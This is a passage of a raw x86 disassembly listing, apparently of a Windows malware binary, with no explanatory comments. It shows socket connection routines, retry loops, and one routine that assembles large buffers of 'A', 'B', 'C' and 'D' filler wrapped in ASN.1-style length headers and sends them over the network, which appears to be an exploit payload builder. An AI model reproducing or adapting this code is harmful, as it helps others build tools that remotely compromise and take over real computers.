		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C125
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40C4A3


loc_40C498:				; CODE XREF: sub_40C125+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4CA
		push	1Eh
		call	esi
		jmp	short loc_40C498
; ---------------------------------------------------------------------------


loc_40C4A3:				; CODE XREF: sub_40C125+371j
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321E4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40C4CA:				; CODE XREF: sub_40C125+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C429


loc_40C4D8:				; CODE XREF: sub_40C125+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C582
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4ED:				; CODE XREF: sub_40C125+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB7A0[eax*8]
		push	eax
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321A4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C125+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB7A4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33F
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C572
		push	offset dword_4CD7A0
		call	near ptr 26E0881h
		nop


loc_40C572:				; CODE XREF: sub_40C125+440j
		push	[ebp+var_2C]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_40C582:				; CODE XREF: sub_40C125+3B6j
					; sub_40C125+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB7A4[eax*8], 1
		jnz	loc_40C4ED
		push	7D0h
		call	esi
		jmp	short loc_40C582
sub_40C125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59C	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C65A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E59C[ecx], esi
		jz	short loc_40C65A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6E0
		push	eax
		mov	edi, offset dword_4CE164
		push	offset dword_432284
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A73
		push	edi
		call	sub_4151AD
		add	esp, 28h


loc_40C65A:				; CODE XREF: sub_40C59C+5Dj
					; sub_40C59C+7Ej
		push	esi
		call	dword_4CB6EC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59C	endp

; ---------------------------------------------------------------------------
byte_40C669	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+603Fo
		dd 134EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 4CBD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh
		dd 50004322h, 0F1D1E8h,	0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 90050000h,	500043E3h, 0EF1BE8h, 1CC48300h
		dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h,	90575700h
		dd 27390FE8h, 89C73B02h, 0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0D8E8FC75h, 90022541h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
		dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h,	4CB650h
		dd 8D084589h, 46A0845h,	0E0458D50h, 0FBBEE850h,	0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)
word_40C75A	dw 8B55h		; DATA XREF: sub_401ACD+5D4Fo
		dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
		dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
		dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh
		dd 432300h, 0F0E0E850h,	858D0000h, 0FFFFFED0h, 1FF68h
		dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h
		dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
		dd 57570040h, 27381FE8h, 0C73B9002h, 74084589h,	0F87D390Bh
		dd 326A0675h, 0F5EBD6FFh, 0E80875FFh, 22540E7h,	8CB3FF90h
		dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
		dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h
		dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h
		dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
		dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C867	proc near		; CODE XREF: sub_40CADB+Ep
					; sub_40CADB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C867	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C871	proc near		; CODE XREF: sub_40CADB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A3
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A3:				; CODE XREF: sub_40C871+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AB	proc near		; CODE XREF: sub_40C9A5+18p
					; sub_40CA1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F7
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F7:				; CODE XREF: sub_40C8AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_40C9A5+5Ep
					; sub_40C9A5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C910
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C910:				; CODE XREF: sub_40C900+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C919	proc near		; CODE XREF: sub_40C9A5+20p
					; sub_40CA80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C946
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C94A


loc_40C946:				; CODE XREF: sub_40C919+Dj
		xor	al, al
		jmp	short loc_40C9A1
; ---------------------------------------------------------------------------


loc_40C94A:				; CODE XREF: sub_40C919+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C989
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C919+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C989:				; CODE XREF: sub_40C919+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A1:				; CODE XREF: sub_40C919+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CADB+89p
					; sub_40CADB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB50C
		call	sub_40C8AB
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DF
		xor	al, al
		jmp	short loc_40CA1B
; ---------------------------------------------------------------------------


loc_40C9DF:				; CODE XREF: sub_40C9A5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C900
		mov	al, 1


loc_40CA1B:				; CODE XREF: sub_40C9A5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1F	proc near		; CODE XREF: sub_40CA53+14p
					; sub_40CA70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA53	proc near		; CODE XREF: sub_40CADB+F0p
					; sub_40CADB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1F
		pop	esi
		retn	4
sub_40CA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40CABC+Bp
					; sub_40CADB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1F
		retn	8
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA80	proc near		; CODE XREF: sub_40CABC+16p
					; sub_40CADB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C919
		test	al, al
		jz	short loc_40CAB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFE0
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB9:				; CODE XREF: sub_40CA80+Fj
		pop	esi
		leave
		retn
sub_40CA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABC	proc near		; CODE XREF: sub_40CADB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA70
		test	al, al
		jz	short loc_40CAD7
		mov	ecx, esi
		call	sub_40CA80


loc_40CAD7:				; CODE XREF: sub_40CABC+12j
		pop	esi
		retn	8
sub_40CABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADB	proc near		; CODE XREF: ___:0040D362p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C867
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C867
		lea	ecx, [ebp+var_20]
		call	sub_40C867
		lea	ecx, [ebp+var_50]
		call	sub_40C867
		lea	ecx, [ebp+var_18]
		call	sub_40C867
		lea	ecx, [ebp+var_40]
		call	sub_40C867
		lea	ecx, [ebp+var_38]
		call	sub_40C867
		lea	ecx, [ebp+var_28]
		call	sub_40C867
		push	4
		push	offset dword_432338
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		push	3
		push	offset dword_432340
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		lea	ecx, [ebp+var_30]
		call	sub_40C9A5
		lea	ecx, [ebp+var_30]
		call	sub_40CA80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_20]
		call	sub_40C9A5
		push	offset loc_4326BC
		lea	ecx, [ebp+var_50]
		call	sub_40CA53
		lea	ecx, [ebp+var_50]
		call	sub_40C9A5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C871
		lea	ecx, [ebp+var_58]
		call	sub_40C9A5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABC
		lea	ecx, [ebp+var_58]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA53
		push	4
		push	offset dword_432344
		lea	ecx, [ebp+var_18]
		call	sub_40CA1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_18]
		call	sub_40C9A5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA70
		lea	ecx, [ebp+var_40]
		call	sub_40CA80
		lea	ecx, [ebp+var_18]
		call	sub_40C900
		lea	ecx, [ebp+var_50]
		call	sub_40C900
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA70
		lea	ecx, [ebp+var_38]
		call	sub_40CA80
		lea	ecx, [ebp+var_20]
		call	sub_40C900
		lea	ecx, [ebp+var_30]
		call	sub_40C900
		lea	ecx, [ebp+var_40]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_28]
		call	sub_40C9A5
		push	2
		push	offset dword_4326B0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA70
		lea	ecx, [ebp+var_28]
		call	sub_40CA80
		lea	ecx, [ebp+var_38]
		call	sub_40C900
		lea	ecx, [ebp+var_10]
		call	sub_40C867
		lea	ecx, [ebp+var_8]
		call	sub_40C867
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_28]
		call	sub_40C900
		push	offset dword_4326AC
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_4326A8
		lea	ecx, [ebp+var_10]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		push	offset dword_43269C
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	(offset	loc_432697+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CADB+1Bj
					; sub_40CADB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3D:				; CODE XREF: sub_40CADB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE41	proc near		; CODE XREF: sub_40CF05+A1p
					; sub_40CF05+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAC


loc_40CEA8:				; CODE XREF: sub_40CE41+54j
		xor	eax, eax
		jmp	short loc_40CEBC
; ---------------------------------------------------------------------------


loc_40CEAC:				; CODE XREF: sub_40CE41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB66C


loc_40CEBC:				; CODE XREF: sub_40CE41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40CF05+81p
					; sub_40CF05+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB650
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 4
		jz	short loc_40CEEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEEA:				; CODE XREF: sub_40CEC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB6A4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF05	proc near		; CODE XREF: sub_40CFDF+48p
					; ___:0040D453p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2E
		xor	al, al
		jmp	loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CF2E:				; CODE XREF: sub_40CF05+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4323D4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432404
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE36C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43234C
		push	ebx
		call	sub_40CEC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF96


loc_40CF92:				; CODE XREF: sub_40CF05+B5j
		xor	bl, bl
		jmp	short loc_40CFD1
; ---------------------------------------------------------------------------


loc_40CF96:				; CODE XREF: sub_40CF05+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF92
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		add	esp, 10h
		mov	bl, 1


loc_40CFD1:				; CODE XREF: sub_40CF05+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFDA:				; CODE XREF: sub_40CF05+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDF	proc near		; CODE XREF: ___:0040D439p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432410
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D01A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D01A
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01E


loc_40D01A:				; CODE XREF: sub_40CFDF+1Bj
					; sub_40CFDF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01E:				; CODE XREF: sub_40CFDF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF05
		add	esp, 0Ch
		leave
		retn
sub_40CFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: sub_40D07D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
